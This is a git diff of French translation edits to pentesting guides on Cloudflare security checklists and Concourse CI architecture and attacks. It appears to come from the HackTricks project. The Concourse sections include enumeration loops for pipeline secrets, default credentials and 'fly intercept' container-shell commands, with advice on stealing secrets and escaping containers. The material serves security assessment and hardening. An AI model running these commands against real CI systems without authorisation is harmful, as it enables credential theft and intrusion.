-- [ ] Vérifiez le potentiel compromis du dépôt github via **workflow command injection** ou compromis de `pull_request_target`. Plus d'infos sur la [**page de sécurité Github**](../github-security/).
+- [ ] Vérifiez le potentiel compromis du dépôt github via **injection de commande de workflow** ou compromis de `pull_request_target`. Plus d'infos sur la [**page de sécurité Github**](../github-security/).
- [ ] Vérifiez les **fonctions vulnérables** dans le répertoire `/fuctions` (s'il y en a), vérifiez les **redirections** dans le fichier `_redirects` (s'il y en a) et les **en-têtes mal configurés** dans le fichier `_headers` (s'il y en a).
- [ ] Vérifiez les **vulnérabilités** dans la **page web** via **blackbox** ou **whitebox** si vous pouvez **accéder au code**.
-- [ ] Dans les détails de chaque page `//pages/view/blocklist/settings/functions`. Vérifiez les **informations sensibles** dans les **`Environment variables`**.
+- [ ] Dans les détails de chaque page `//pages/view/blocklist/settings/functions`. Vérifiez les **informations sensibles** dans les **`Variables d'environnement`**.
- [ ] Dans la page de détails, vérifiez également la **commande de construction** et le **répertoire racine** pour des **injections potentielles** pouvant compromettre la page.
## **Workers**
@@ -45,14 +45,14 @@ Sur chaque page de Cloudflare :
Sur chaque worker de Cloudflare, vérifiez :
- [ ] Les déclencheurs : Qu'est-ce qui fait déclencher le worker ? Un **utilisateur peut-il envoyer des données** qui seront **utilisées** par le worker ?
-- [ ] Dans les **`Settings`**, vérifiez les **`Variables`** contenant des **informations sensibles**.
+- [ ] Dans les **`Paramètres`**, vérifiez les **`Variables`** contenant des **informations sensibles**.
- [ ] Vérifiez le **code du worker** et recherchez des **vulnérabilités** (surtout dans les endroits où l'utilisateur peut gérer l'entrée).
- Vérifiez les SSRFs retournant la page indiquée que vous pouvez contrôler.
- Vérifiez les XSS exécutant du JS à l'intérieur d'une image svg.
- Il est possible que le worker interagisse avec d'autres services internes. Par exemple, un worker peut interagir avec un bucket R2 stockant des informations obtenues à partir de l'entrée. Dans ce cas, il serait nécessaire de vérifier quelles capacités le worker a sur le bucket R2 et comment cela pourrait être abusé à partir de l'entrée utilisateur.
> [!WARNING]
-> Notez qu'un **Worker reçoit par défaut une URL** telle que `..workers.dev`. L'utilisateur peut le définir sur un **sous-domaine**, mais vous pouvez toujours y accéder avec cette **URL originale** si vous la connaissez.
+> Notez qu'en règle générale, un **Worker reçoit une URL** telle que `..workers.dev`. L'utilisateur peut le définir sur un **sous-domaine**, mais vous pouvez toujours y accéder avec cette **URL d'origine** si vous la connaissez.
## R2
@@ -68,10 +68,10 @@ TODO
TODO
-## Security Center
+## Centre de sécurité
- [ ] Si possible, exécutez un **scan `Security Insights`** et un **scan `Infrastructure`**, car ils **mettront en évidence** des informations intéressantes sur la **sécurité**.
-- [ ] Vérifiez simplement ces informations pour des erreurs de configuration de sécurité et des informations intéressantes.
+- [ ] Vérifiez simplement **ces informations** pour des erreurs de configuration de sécurité et des informations intéressantes.
## Turnstile
@@ -83,51 +83,51 @@ TODO
cloudflare-zero-trust-network.md
{{#endref}}
-## Bulk Redirects
+## Redirections en masse
> [!NOTE]
-> Contrairement aux [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), les [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sont essentiellement statiques — ils ne prennent pas en charge les opérations de remplacement de chaîne ou les expressions régulières. Cependant, vous pouvez configurer des paramètres de redirection d'URL qui affectent leur comportement de correspondance d'URL et leur comportement d'exécution.
+> Contrairement aux [Redirections dynamiques](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), les [**Redirections en masse**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sont essentiellement statiques — elles ne prennent pas en charge les opérations de remplacement de chaîne ou les expressions régulières. Cependant, vous pouvez configurer des paramètres de redirection d'URL qui affectent leur comportement de correspondance d'URL et leur comportement d'exécution.
-- [ ] Vérifiez que les **expressions** et **exigences** pour les redirections **ont du sens**.
+- [ ] Vérifiez que les **expressions** et les **exigences** pour les redirections **ont du sens**.
- [ ] Vérifiez également les **points de terminaison cachés sensibles** qui contiennent des informations intéressantes.
## Notifications
- [ ] Vérifiez les **notifications.** Ces notifications sont recommandées pour la sécurité :
-- `Usage Based Billing`
-- `HTTP DDoS Attack Alert`
-- `Layer 3/4 DDoS Attack Alert`
-- `Advanced HTTP DDoS Attack Alert`
-- `Advanced Layer 3/4 DDoS Attack Alert`
-- `Flow-based Monitoring: Volumetric Attack`
-- `Route Leak Detection Alert`
-- `Access mTLS Certificate Expiration Alert`
-- `SSL for SaaS Custom Hostnames Alert`
-- `Universal SSL Alert`
-- `Script Monitor New Code Change Detection Alert`
-- `Script Monitor New Domain Alert`
-- `Script Monitor New Malicious Domain Alert`
-- `Script Monitor New Malicious Script Alert`
-- `Script Monitor New Malicious URL Alert`
-- `Script Monitor New Scripts Alert`
-- `Script Monitor New Script Exceeds Max URL Length Alert`
-- `Advanced Security Events Alert`
-- `Security Events Alert`
-- [ ] Vérifiez toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (authentification http basique) dans les URLs de webhook. Assurez-vous également que les URLs de webhook utilisent **HTTPS**.
+- `Facturation basée sur l'utilisation`
+- `Alerte d'attaque DDoS HTTP`
+- `Alerte d'attaque DDoS de couche 3/4`
+- `Alerte d'attaque DDoS HTTP avancée`
+- `Alerte d'attaque DDoS de couche 3/4 avancée`
+- `Surveillance basée sur le flux : attaque volumétrique`
+- `Alerte de détection de fuite de route`
+- `Alerte d'expiration de certificat mTLS d'accès`
+- `Alerte SSL pour les noms d'hôtes personnalisés SaaS`
+- `Alerte SSL universel`
+- `Alerte de détection de changement de code nouveau dans le moniteur de script`
+- `Alerte de nouveau domaine dans le moniteur de script`
+- `Alerte de nouveau domaine malveillant dans le moniteur de script`
+- `Alerte de nouveau script malveillant dans le moniteur de script`
+- `Alerte de nouvelle URL malveillante dans le moniteur de script`
+- `Alerte de nouveaux scripts dans le moniteur de script`
+- `Alerte de nouveau script dépassant la longueur maximale de l'URL dans le moniteur de script`
+- `Alerte d'événements de sécurité avancés`
+- `Alerte d'événements de sécurité`
+- [ ] Vérifiez toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (authentification http de base) dans les urls de webhook. Assurez-vous également que les urls de webhook utilisent **HTTPS**.
- [ ] En vérification supplémentaire, vous pourriez essayer de **imiter une notification Cloudflare** à un tiers, peut-être que vous pouvez d'une manière ou d'une autre **injecter quelque chose de dangereux**.
-## Manage Account
+## Gérer le compte
-- [ ] Il est possible de voir les **4 derniers chiffres de la carte de crédit**, la **date d'expiration** et l'**adresse de facturation** dans **`Billing` -> `Payment info`**.
-- [ ] Il est possible de voir le **type de plan** utilisé dans le compte dans **`Billing` -> `Subscriptions`**.
-- [ ] Dans **`Members`**, il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Enterprise, seuls 2 rôles existent : Administrateur et Super Administrateur. Mais si le **plan utilisé est Enterprise**, [**plus de rôles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour suivre le principe du moindre privilège.
-- Par conséquent, chaque fois que cela est possible, il est **recommandé** d'utiliser le **plan Enterprise**.
-- [ ] Dans Members, il est possible de vérifier quels **membres** ont **2FA activé**. **Chaque** utilisateur devrait l'avoir activé.
+- [ ] Il est possible de voir les **4 derniers chiffres de la carte de crédit**, la **date d'expiration** et l'**adresse de facturation** dans **`Facturation` -> `Informations de paiement`**.
+- [ ] Il est possible de voir le **type de plan** utilisé dans le compte dans **`Facturation` -> `Abonnements`**.
+- [ ] Dans **`Membres`**, il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Entreprise, seuls 2 rôles existent : Administrateur et Super Administrateur. Mais si le **plan utilisé est Entreprise**, [**plus de rôles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour suivre le principe du moindre privilège.
+- Par conséquent, chaque fois que cela est possible, il est **recommandé** d'utiliser le **plan Entreprise**.
+- [ ] Dans Membres, il est possible de vérifier quels **membres** ont **2FA activé**. **Chaque** utilisateur devrait l'avoir activé.
> [!NOTE]
-> Notez qu'il est heureusement que le rôle **`Administrator`** ne donne pas de permissions pour gérer les adhésions (**ne peut pas élever les privilèges ou inviter** de nouveaux membres).
+> Notez qu'il est heureusement que le rôle **`Administrateur`** ne donne pas de permissions pour gérer les adhésions (**ne peut pas élever les privilèges ou inviter** de nouveaux membres).
-## DDoS Investigation
+## Enquête DDoS
[Consultez cette partie](cloudflare-domains.md#cloudflare-ddos-protection).
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 6cbf79e7b..0c9b3f331 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
-Dans chaque TLD configuré dans Cloudflare, il y a des **paramètres généraux et des services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
+Dans chaque TLD configuré dans Cloudflare, il y a des **paramètres et services généraux** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
-### Aperçu
+### Vue d'ensemble
- [ ] Avoir une idée de **combien** les services du compte sont **utilisés**
- [ ] Trouver également le **zone ID** et le **account ID**
@@ -36,19 +36,19 @@ TODO
### SSL/TLS
-#### **Aperçu**
+#### **Vue d'ensemble**
-- [ ] Le **chiffrement SSL/TLS** doit être **Complet** ou **Complet (Strict)**. Tout autre enverra du **trafic en clair** à un moment donné.
-- [ ] Le **Recommander SSL/TLS** doit être activé
+- [ ] Le **chiffrement SSL/TLS** devrait être **Complet** ou **Complet (Strict)**. Tout autre enverra du **trafic en clair** à un moment donné.
+- [ ] Le **Recommander SSL/TLS** devrait être activé
#### Certificats Edge
-- [ ] **Always Use HTTPS** doit être **activé**
-- [ ] **HTTP Strict Transport Security (HSTS)** doit être **activé**
-- [ ] **La version minimale de TLS doit être 1.2**
-- [ ] **TLS 1.3 doit être activé**
-- [ ] **Automatic HTTPS Rewrites** doit être **activé**
-- [ ] **Certificate Transparency Monitoring** doit être **activé**
+- [ ] **Always Use HTTPS** devrait être **activé**
+- [ ] **HTTP Strict Transport Security (HSTS)** devrait être **activé**
+- [ ] **La version minimale de TLS devrait être 1.2**
+- [ ] **TLS 1.3 devrait être activé**
+- [ ] **Réécritures automatiques HTTPS** devraient être **activées**
+- [ ] **Surveillance de la transparence des certificats** devrait être **activée**
### **Sécurité**
@@ -60,22 +60,22 @@ TODO
- [ ] Dans la section **`Paramètres`** :
- [ ] Vérifier que le **`Niveau de Sécurité`** est **moyen** ou supérieur
- [ ] Vérifier que le **`Challenge Passage`** est de 1 heure au maximum
-- [ ] Vérifier que le **`Vérification de l'Intégrité du Navigateur`** est **activée**
+- [ ] Vérifier que le **`Vérification de l'intégrité du navigateur`** est **activée**
- [ ] Vérifier que le **`Support de Privacy Pass`** est **activé**
-#### **Protection DDoS CloudFlare**
+#### **Protection DDoS de CloudFlare**
-- Si vous le pouvez, activez le **Mode de Lutte contre les Bots** ou le **Mode de Lutte contre les Super Bots**. Si vous protégez une API accessible de manière programmatique (depuis une page frontale JS par exemple). Vous pourriez ne pas être en mesure d'activer cela sans rompre cet accès.
-- Dans **WAF** : Vous pouvez créer des **limites de taux par chemin URL** ou pour des **bots vérifiés** (règles de limitation de taux), ou pour **bloquer l'accès** basé sur l'IP, le Cookie, le référent...). Ainsi, vous pourriez bloquer les requêtes qui ne proviennent pas d'une page web ou qui n'ont pas de cookie.
+- Si vous le pouvez, activez le **Mode de Combat contre les Bots** ou le **Mode de Combat contre les Super Bots**. Si vous protégez une API accessible de manière programmatique (depuis une page frontale JS par exemple). Vous pourriez ne pas être en mesure d'activer cela sans rompre cet accès.
+- Dans **WAF** : Vous pouvez créer des **limites de taux par chemin URL** ou pour des **bots vérifiés** (règles de limitation de taux), ou pour **bloquer l'accès** basé sur l'IP, le cookie, le référent...). Ainsi, vous pourriez bloquer les requêtes qui ne proviennent pas d'une page web ou qui n'ont pas de cookie.
- Si l'attaque provient d'un **bot vérifié**, au moins **ajoutez une limite de taux** aux bots.
- Si l'attaque est dirigée vers un **chemin spécifique**, comme mécanisme de prévention, ajoutez une **limite de taux** dans ce chemin.
-- Vous pouvez également **whitelister** des adresses IP, des plages IP, des pays ou des ASN depuis les **Outils** dans WAF.
+- Vous pouvez également **mettre sur liste blanche** des adresses IP, des plages IP, des pays ou des ASN dans les **Outils** de WAF.
- Vérifiez si les **règles gérées** pourraient également aider à prévenir les exploitations de vulnérabilités.
- Dans la section **Outils**, vous pouvez **bloquer ou donner un défi à des IP spécifiques** et **agents utilisateurs.**
- Dans DDoS, vous pourriez **remplacer certaines règles pour les rendre plus restrictives**.
-- **Paramètres** : Réglez le **Niveau de Sécurité** sur **Élevé** et sur **Sous Attaque** si vous êtes Sous Attaque et que la **Vérification de l'Intégrité du Navigateur est activée**.
-- Dans Cloudflare Domains -> Analytics -> Security -> Vérifiez si la **limite de taux** est activée
-- Dans Cloudflare Domains -> Security -> Events -> Vérifiez les **Événements malveillants détectés**
+- **Paramètres** : Réglez le **Niveau de Sécurité** sur **Élevé** et sur **Sous Attaque** si vous êtes sous attaque et que la **Vérification de l'intégrité du navigateur est activée**.
+- Dans Domaines Cloudflare -> Analytique -> Sécurité -> Vérifiez si la **limite de taux** est activée
+- Dans Domaines Cloudflare -> Sécurité -> Événements -> Vérifiez les **événements malveillants détectés**
### Accès
@@ -101,8 +101,8 @@ TODO
### Réseau
-- [ ] Si **`HTTP/2`** est **activé**, **`HTTP/2 to Origin`** doit être **activé**
-- [ ] **`HTTP/3 (avec QUIC)`** doit être **activé**
+- [ ] Si **`HTTP/2`** est **activé**, **`HTTP/2 to Origin`** devrait être **activé**
+- [ ] **`HTTP/3 (avec QUIC)`** devrait être **activé**
- [ ] Si la **vie privée** de vos **utilisateurs** est importante, assurez-vous que **`Onion Routing`** est **activé**
### **Trafic**
@@ -119,7 +119,7 @@ TODO
### Scrape Shield
-- [ ] Vérifiez que l'**Obfuscation des Adresses Email** est **activée**
+- [ ] Vérifiez que l'**Obfuscation des adresses email** est **activée**
- [ ] Vérifiez que les **Exclusions côté serveur** sont **activées**
### **Zaraz**
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index b00bfc6c4..628da540c 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -22,19 +22,19 @@ Dans un compte **Cloudflare Zero Trust Network**, il y a certains **paramètres
Sur chaque application :
-- [ ] Vérifiez **qui** peut accéder à l'application dans les **Policies** et vérifiez que **seulement** les **utilisateurs** qui **ont besoin d'accès** à l'application peuvent y accéder.
+- [ ] Vérifiez **qui** peut accéder à l'application dans les **Policies** et assurez-vous que **seuls** les **utilisateurs** qui **ont besoin d'accès** à l'application peuvent y accéder.
- Pour permettre l'accès, des **`Access Groups`** vont être utilisés (et des **règles supplémentaires** peuvent également être définies)
- [ ] Vérifiez les **fournisseurs d'identité disponibles** et assurez-vous qu'ils **ne sont pas trop ouverts**
- [ ] Dans **`Settings`** :
- [ ] Vérifiez que **CORS n'est pas activé** (s'il est activé, vérifiez qu'il est **sécurisé** et qu'il ne permet pas tout)
- [ ] Les cookies doivent avoir l'attribut **Strict Same-Site**, **HTTP Only** et le **binding cookie** doit être **activé** si l'application est HTTP.
-- [ ] Envisagez également d'activer le **rendu du navigateur** pour une meilleure **protection. Plus d'infos sur** [**l'isolement du navigateur à distance ici**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] Envisagez également d'activer le **rendu du navigateur** pour une meilleure **protection. Plus d'infos sur** [**l'isolement du navigateur distant ici**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
-- [ ] Vérifiez que les groupes d'accès générés sont **correctement restreints** aux utilisateurs qu'ils devraient autoriser.
+- [ ] Vérifiez que les groupes d'accès générés sont **correctement restreints** aux utilisateurs qu'ils doivent autoriser.
- [ ] Il est particulièrement important de vérifier que le **groupe d'accès par défaut n'est pas très ouvert** (il **ne permet pas trop de personnes**) car par **défaut**, quiconque dans ce **groupe** pourra **accéder aux applications**.
-- Notez qu'il est possible de donner **accès** à **TOUS** et d'autres **politiques très ouvertes** qui ne sont pas recommandées à moins d'être 100 % nécessaires.
+- Notez qu'il est possible de donner **accès** à **TOUS** et d'autres **politiques très ouvertes** qui ne sont pas recommandées sauf si 100 % nécessaire.
#### Service Auth
@@ -55,7 +55,7 @@ TODO
### Settings
- [ ] Vérifiez le **type de plan**
-- [ ] Il est possible de voir le **nom du propriétaire de la carte de crédit**, les **derniers 4 chiffres**, la **date d'expiration** et l'**adresse**
+- [ ] Il est possible de voir le **nom du propriétaire de la carte de crédit**, **derniers 4 chiffres**, **date d'expiration** et **adresse**
- [ ] Il est recommandé d'**ajouter une expiration de siège utilisateur** pour supprimer les utilisateurs qui n'utilisent pas vraiment ce service
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index 4cf295ed6..d9f41c850 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -12,21 +12,21 @@
#### ATC : interface web et planificateur de builds
-L'ATC est le cœur de Concourse. Il exécute l'**interface web et l'API** et est responsable de toute la **planification** des pipelines. Il **se connecte à PostgreSQL**, qu'il utilise pour stocker les données des pipelines (y compris les journaux de builds).
+L'ATC est le cœur de Concourse. Il exécute le **web UI et l'API** et est responsable de toute la **planification** des pipelines. Il **se connecte à PostgreSQL**, qu'il utilise pour stocker les données des pipelines (y compris les journaux de construction).
La responsabilité du [checker](https://concourse-ci.org/checker.html) est de vérifier en continu les nouvelles versions des ressources. Le [scheduler](https://concourse-ci.org/scheduler.html) est responsable de la planification des builds pour un job et le [build tracker](https://concourse-ci.org/build-tracker.html) est responsable de l'exécution de tout build planifié. Le [garbage collector](https://concourse-ci.org/garbage-collector.html) est le mécanisme de nettoyage pour supprimer tout objet inutilisé ou obsolète, tel que des conteneurs et des volumes.
#### TSA : enregistrement des workers et transfert
-Le TSA est un **serveur SSH sur mesure** qui est utilisé uniquement pour **enregistrer** en toute sécurité les [**workers**](https://concourse-ci.org/internals.html#architecture-worker) avec l'[ATC](https://concourse-ci.org/internals.html#component-atc).
+La TSA est un **serveur SSH sur mesure** qui est utilisé uniquement pour **enregistrer** en toute sécurité les [**workers**](https://concourse-ci.org/internals.html#architecture-worker) avec l'[ATC](https://concourse-ci.org/internals.html#component-atc).
-Le TSA écoute par **défaut sur le port `2222`**, et est généralement co-localisé avec l'[ATC](https://concourse-ci.org/internals.html#component-atc) et se trouve derrière un équilibreur de charge.
+La TSA écoute par **défaut sur le port `2222`**, et est généralement colocée avec l'[ATC](https://concourse-ci.org/internals.html#component-atc) et se trouve derrière un équilibreur de charge.
-Le **TSA implémente CLI sur la connexion SSH,** prenant en charge [**ces commandes**](https://concourse-ci.org/internals.html#component-tsa).
+La **TSA implémente CLI sur la connexion SSH,** prenant en charge [**ces commandes**](https://concourse-ci.org/internals.html#component-tsa).
#### Workers
-Pour exécuter des tâches, Concourse doit avoir des workers. Ces workers **s'enregistrent** via le [TSA](https://concourse-ci.org/internals.html#component-tsa) et exécutent les services [**Garden**](https://github.com/cloudfoundry-incubator/garden) et [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+Pour exécuter des tâches, Concourse doit avoir des workers. Ces workers **s'enregistrent** via la [TSA](https://concourse-ci.org/internals.html#component-tsa) et exécutent les services [**Garden**](https://github.com/cloudfoundry-incubator/garden) et [**Baggageclaim**](https://github.com/concourse/baggageclaim).
- **Garden** : C'est l'**API de gestion des conteneurs**, généralement exécutée sur le **port 7777** via **HTTP**.
- **Baggageclaim** : C'est l'**API de gestion des volumes**, généralement exécutée sur le **port 7788** via **HTTP**.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index b0735fb4f..7163674e7 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -6,24 +6,24 @@
### Rôles et Permissions des Utilisateurs
-Concourse est livré avec cinq rôles :
+Concourse dispose de cinq rôles :
- _Concourse_ **Admin** : Ce rôle est uniquement attribué aux propriétaires de l'**équipe principale** (équipe concourse initiale par défaut). Les admins peuvent **configurer d'autres équipes** (par exemple : `fly set-team`, `fly destroy-team`...). Les permissions de ce rôle ne peuvent pas être affectées par RBAC.
-- **propriétaire** : Les propriétaires d'équipe peuvent **modifier tout au sein de l'équipe**.
-- **membre** : Les membres de l'équipe peuvent **lire et écrire** au sein des **ressources de l'équipe** mais ne peuvent pas modifier les paramètres de l'équipe.
-- **opérateur de pipeline** : Les opérateurs de pipeline peuvent effectuer des **opérations de pipeline** telles que déclencher des builds et épingler des ressources, cependant ils ne peuvent pas mettre à jour les configurations de pipeline.
-- **spectateur** : Les spectateurs d'équipe ont un accès **"lecture seule" à une équipe** et à ses pipelines.
+- **owner** : Les propriétaires d'équipe peuvent **modifier tout au sein de l'équipe**.
+- **member** : Les membres de l'équipe peuvent **lire et écrire** au sein des **ressources de l'équipe** mais ne peuvent pas modifier les paramètres de l'équipe.
+- **pipeline-operator** : Les opérateurs de pipeline peuvent effectuer des **opérations de pipeline** telles que déclencher des builds et épingler des ressources, cependant ils ne peuvent pas mettre à jour les configurations de pipeline.
+- **viewer** : Les visualisateurs d'équipe ont un accès **"lecture seule" à une équipe** et à ses pipelines.
> [!NOTE]
-> De plus, les **permissions des rôles propriétaire, membre, opérateur de pipeline et spectateur peuvent être modifiées** en configurant RBAC (en configurant plus spécifiquement ses actions). Lisez-en plus à ce sujet ici : [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> De plus, les **permissions des rôles owner, member, pipeline-operator et viewer peuvent être modifiées** en configurant RBAC (en configurant plus spécifiquement ses actions). Lisez-en plus à ce sujet dans : [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Notez que Concourse **groupe les pipelines à l'intérieur des Équipes**. Par conséquent, les utilisateurs appartenant à une Équipe pourront gérer ces pipelines et **plusieurs Équipes** peuvent exister. Un utilisateur peut appartenir à plusieurs Équipes et avoir des permissions différentes à l'intérieur de chacune d'elles.
### Vars & Gestionnaire de Credentials
Dans les configurations YAML, vous pouvez configurer des valeurs en utilisant la syntaxe `((_source-name_:_secret-path_._secret-field_))`.\
-[Extrait de la documentation :](https://concourse-ci.org/vars.html#var-syntax) Le **nom de la source est optionnel**, et s'il est omis, le [gestionnaire de credentials à l'échelle du cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) sera utilisé, ou la valeur peut être fournie [statiquement](https://concourse-ci.org/vars.html#static-vars).\
-Le **champ \_secret-field**\_ optionnel spécifie un champ sur le secret récupéré à lire. S'il est omis, le gestionnaire de credentials peut choisir de lire un 'champ par défaut' du credential récupéré si le champ existe.\
+[Selon la documentation :](https://concourse-ci.org/vars.html#var-syntax) Le **source-name est optionnel**, et s'il est omis, le [gestionnaire de credentials à l'échelle du cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) sera utilisé, ou la valeur peut être fournie [statiquement](https://concourse-ci.org/vars.html#static-vars).\
+Le **\_secret-field optionnel**\_ spécifie un champ sur le secret récupéré à lire. S'il est omis, le gestionnaire de credentials peut choisir de lire un 'champ par défaut' à partir du credential récupéré si le champ existe.\
De plus, le _**secret-path**_ et le _**secret-field**_ peuvent être entourés de guillemets doubles `"..."` s'ils **contiennent des caractères spéciaux** comme `.` et `:`. Par exemple, `((source:"my.secret"."field:1"))` définira le _secret-path_ sur `my.secret` et le _secret-field_ sur `field:1`.
#### Vars Statiques
@@ -34,16 +34,16 @@ Les vars statiques peuvent être spécifiées dans les **étapes de tâches** :
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
-Or en utilisant les `fly` **arguments** suivants :
+Ou en utilisant les `fly` **arguments** suivants :
-- `-v` ou `--var` `NAME=VALUE` définit la chaîne `VALUE` comme valeur pour la var `NAME`.
-- `-y` ou `--yaml-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme valeur pour la var `NAME`.
-- `-i` ou `--instance-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme valeur pour la var d'instance `NAME`. Voir [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) pour en savoir plus sur les vars d'instance.
-- `-l` ou `--load-vars-from` `FILE` charge `FILE`, un document YAML contenant le mappage des noms de var aux valeurs, et les définit tous.
+- `-v` ou `--var` `NAME=VALUE` définit la chaîne `VALUE` comme la valeur pour la var `NAME`.
+- `-y` ou `--yaml-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme la valeur pour la var `NAME`.
+- `-i` ou `--instance-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme la valeur pour la var d'instance `NAME`. Voir [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) pour en savoir plus sur les vars d'instance.
+- `-l` ou `--load-vars-from` `FILE` charge `FILE`, un document YAML contenant le mappage des noms de vars aux valeurs, et les définit tous.
#### Gestion des Identifiants
-Il existe différentes manières de spécifier un **Gestionnaire d'Identifiants** dans un pipeline, lisez comment dans [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
+Il existe différentes manières de **spécifier un Gestionnaire d'Identifiants** dans un pipeline, lisez comment dans [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
De plus, Concourse prend en charge différents gestionnaires d'identifiants :
- [Le gestionnaire d'identifiants Vault](https://concourse-ci.org/vault-credential-manager.html)
@@ -75,7 +75,7 @@ Pour énumérer un environnement concourse, vous devez d'abord **rassembler des
- `fly -t userinfo`
> [!NOTE]
-> Notez que le **jeton API** est **sauvegardé** par défaut dans `$HOME/.flyrc`, en fouillant une machine, vous pourriez y trouver les identifiants.
+> Notez que le **jeton API** est **enregistré** par défaut dans `$HOME/.flyrc`, en fouillant une machine, vous pourriez y trouver les identifiants.
#### Équipes & Utilisateurs
@@ -90,11 +90,11 @@ Pour énumérer un environnement concourse, vous devez d'abord **rassembler des
- **Lister** les pipelines :
- `fly -t pipelines -a`
-- **Obtenir** le yaml du pipeline (**des informations sensibles** peuvent être trouvées dans la définition) :
+- **Obtenez** le yaml du pipeline (**des informations sensibles** peuvent être trouvées dans la définition) :
- `fly -t get-pipeline -p `
- Obtenez toutes les **vars déclarées dans la config du pipeline**
- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Obtenez tous les **noms de secrets de pipeline utilisés** (si vous pouvez créer/modifier un job ou détourner un conteneur, vous pourriez les exfiltrer) :
+- Obtenez tous les **noms de secrets de pipelines utilisés** (si vous pouvez créer/modifier un job ou détourner un conteneur, vous pourriez les exfiltrer) :
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
@@ -113,7 +113,7 @@ rm /tmp/secrets.txt
- `fly -t workers`
- Lister **conteneurs** :
- `fly -t containers`
-- Lister **constructions** (pour voir ce qui est en cours d'exécution) :
+- Lister **builds** (pour voir ce qui est en cours d'exécution) :
- `fly -t builds`
### Attaques Concourse
@@ -123,13 +123,13 @@ rm /tmp/secrets.txt
- admin:admin
- test:test
-#### Énumération des secrets et des paramètres
+#### Énumération des Secrets et paramètres
-Dans la section précédente, nous avons vu comment vous pouvez **obtenir tous les noms et variables des secrets** utilisés par le pipeline. Les **variables peuvent contenir des informations sensibles** et le nom des **secrets sera utile plus tard pour essayer de les voler**.
+Dans la section précédente, nous avons vu comment vous pouvez **obtenir tous les noms et vars des secrets** utilisés par le pipeline. Les **vars peuvent contenir des informations sensibles** et le nom des **secrets sera utile plus tard pour essayer de les voler**.
#### Session à l'intérieur d'un conteneur en cours d'exécution ou récemment exécuté
-Si vous avez suffisamment de privilèges (**rôle de membre ou plus**), vous serez en mesure de **lister les pipelines et les rôles** et d'obtenir simplement une **session à l'intérieur** du conteneur `/` en utilisant :
+Si vous avez suffisamment de privilèges (**rôle membre ou plus**), vous serez en mesure de **lister les pipelines et les rôles** et d'obtenir simplement une **session à l'intérieur** du conteneur `/` en utilisant :
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
@@ -138,7 +138,7 @@ Avec ces permissions, vous pourriez être en mesure de :
- **Voler les secrets** à l'intérieur du **conteneur**
- Essayer de **s'échapper** vers le nœud
-- Énumérer/Abuser de l'**endpoint de métadonnées cloud** (depuis le pod et depuis le nœud, si possible)
+- Énumérer/Abuser de l'endpoint **cloud metadata** (depuis le pod et depuis le nœud, si possible)
#### Création/Modification de Pipeline
@@ -295,7 +295,7 @@ cat /output
Même si le conteneur web a certaines défenses désactivées, il **ne fonctionne pas comme un conteneur privilégié commun** (par exemple, vous **ne pouvez pas** **monter** et les **capacités** sont très **limitées**, donc toutes les façons simples de s'échapper du conteneur sont inutiles).
-Cependant, il stocke **des identifiants locaux en texte clair** :
+Cependant, il stocke **des identifiants locaux en clair** :
```bash
